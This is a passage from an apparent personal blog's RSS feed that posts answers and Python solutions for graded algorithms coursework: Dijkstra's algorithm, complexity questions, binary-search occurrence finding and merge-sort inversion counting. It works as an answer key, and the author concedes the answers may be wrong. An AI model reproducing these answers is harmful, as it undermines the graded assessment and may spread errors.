&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; current_index &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; subsequence&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(arr[current_index])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; current_index &lt;span style="color:#f92672"&gt;=&lt;/span&gt; parent[current_index]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; subsequence[::&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>secret note jfgp3d7rrx0</title><link>https://lavafroth.is-a.dev/jfgp3d7rrx0/</link><pubDate>Tue, 28 Oct 2025 16:09:00 +0530</pubDate><guid>https://lavafroth.is-a.dev/jfgp3d7rrx0/</guid><description>&lt;p&gt;There will be an explanation for non-trivial questions.&lt;/p&gt;
&lt;h1 id="activity-1"&gt;Activity 1&lt;/h1&gt;
&lt;h2 id="1"&gt;1&lt;/h2&gt;
&lt;p&gt;Dijkstra&amp;rsquo;s algorithm guarantees finding the shortest path from a single source to all other vertices under which of the following conditions?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; All edge weights must be non-negative.&lt;/p&gt;
&lt;h2 id="2"&gt;2&lt;/h2&gt;
&lt;p&gt;Consider an undirected graph with 5 vertices &lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;/msub&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;(V_0, V_1, V_2, V_3, V_4)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;. At a certain point
in Dijkstra&amp;rsquo;s algorithm (starting from &lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;V_0&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;), the current tentative distances are:
&lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy="false"&gt;{&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mn&gt;5&lt;/mn&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mn&gt;8&lt;/mn&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mn&gt;10&lt;/mn&gt;&lt;mo stretchy="false"&gt;}&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;dist = \{V_0:0, V_1:5, V_2:3, V_3:8, V_4:10\}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;. And the processed set is: &lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mo stretchy="false"&gt;{&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mo separator="true"&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mo stretchy="false"&gt;}&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;\{V_0:True,
V_1:False, V_2:False, V_3:False, V_4:False\}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;. Assuming the next step is to select an unvisited
vertex to mark as processed, which vertex will be chosen?&lt;/p&gt;</description></item><item><title>for seshu baby mwa mwa</title><link>https://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/</link><pubDate>Fri, 03 Oct 2025 16:04:18 +0530</pubDate><guid>https://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/</guid><description>&lt;blockquote&gt;
&lt;p&gt;Update: I have added the GA 2 sols as well. Please take them with a grain of salt obviously
I am also fallible to mistakes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="aq21"&gt;AQ2.1&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;O&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt; O(n^2) &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;O&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt; O(n\ log\ n) &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;O&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msup&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt; O(n^3) &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;O&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt; O(n + log\ m) &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;O&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt; O(log\ n) &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;O&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt; O(n^2\ log\ n) &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="aq22"&gt;AQ2.2&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;O&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt; O(log\ n) &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;5&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;Multiple options:
&lt;ul&gt;
&lt;li&gt;It works only on sorted arrays.&lt;/li&gt;
&lt;li&gt;It has a best-case time complexity of O(1).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="aq23"&gt;AQ2.3&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Selection sort always makes n(n-1)/2 comparisons which is of order &lt;span class="katex"&gt;&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;O&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt; O(n^2) &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>w8</title><link>https://lavafroth.is-a.dev/divmqbyvl9y/</link><pubDate>Fri, 03 Oct 2025 16:04:18 +0530</pubDate><guid>https://lavafroth.is-a.dev/divmqbyvl9y/</guid><description>&lt;h2 id="grpa-1"&gt;GRPA 1&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;findOccOf&lt;/span&gt;(arr, x):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hi &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len(arr) &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; loval &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; lo &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; hi:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (lo &lt;span style="color:#f92672"&gt;+&lt;/span&gt; hi) &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; c &lt;span style="color:#f92672"&gt;=&lt;/span&gt; arr[mid]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; x &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; c:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hi &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mid &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;elif&lt;/span&gt; x &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; c:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mid &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;elif&lt;/span&gt; x &lt;span style="color:#f92672"&gt;==&lt;/span&gt; c:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; loval &lt;span style="color:#f92672"&gt;=&lt;/span&gt; loval &lt;span style="color:#f92672"&gt;or&lt;/span&gt; mid
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; loval &lt;span style="color:#f92672"&gt;=&lt;/span&gt; min(loval, mid)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hi &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mid &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hi &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len(arr) &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hival &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; lo &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; hi:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (lo &lt;span style="color:#f92672"&gt;+&lt;/span&gt; hi) &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; c &lt;span style="color:#f92672"&gt;=&lt;/span&gt; arr[mid]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; x &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; c:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hi &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mid &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;elif&lt;/span&gt; x &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; c:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mid &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;elif&lt;/span&gt; x &lt;span style="color:#f92672"&gt;==&lt;/span&gt; c:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hival &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hival &lt;span style="color:#f92672"&gt;or&lt;/span&gt; mid
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hival &lt;span style="color:#f92672"&gt;=&lt;/span&gt; max(hival, mid)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mid &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; loval, hival
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="grpa-2"&gt;GRPA 2&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;merge_inversion&lt;/span&gt;(left, right):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; merged &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i, j &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; m &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len(left)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; n &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len(right)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; i &lt;span style="color:#f92672"&gt;+&lt;/span&gt; j &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; m &lt;span style="color:#f92672"&gt;+&lt;/span&gt; n:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; j &lt;span style="color:#f92672"&gt;==&lt;/span&gt; n &lt;span style="color:#f92672"&gt;or&lt;/span&gt; (i &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; m &lt;span style="color:#f92672"&gt;and&lt;/span&gt; left[i] &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; right[j]):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; merged&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(left[i])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; merged&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(right[j])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; j &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; m &lt;span style="color:#f92672"&gt;-&lt;/span&gt; i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; merged, count
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sort_and_count&lt;/span&gt;(arr):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; n &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len(arr)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; n &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; arr, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; left &lt;span style="color:#f92672"&gt;=&lt;/span&gt; arr[: n &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; right &lt;span style="color:#f92672"&gt;=&lt;/span&gt; arr[n &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; :]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; left, count_left &lt;span style="color:#f92672"&gt;=&lt;/span&gt; sort_and_count(left)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; right, count_right &lt;span style="color:#f92672"&gt;=&lt;/span&gt; sort_and_count(right)
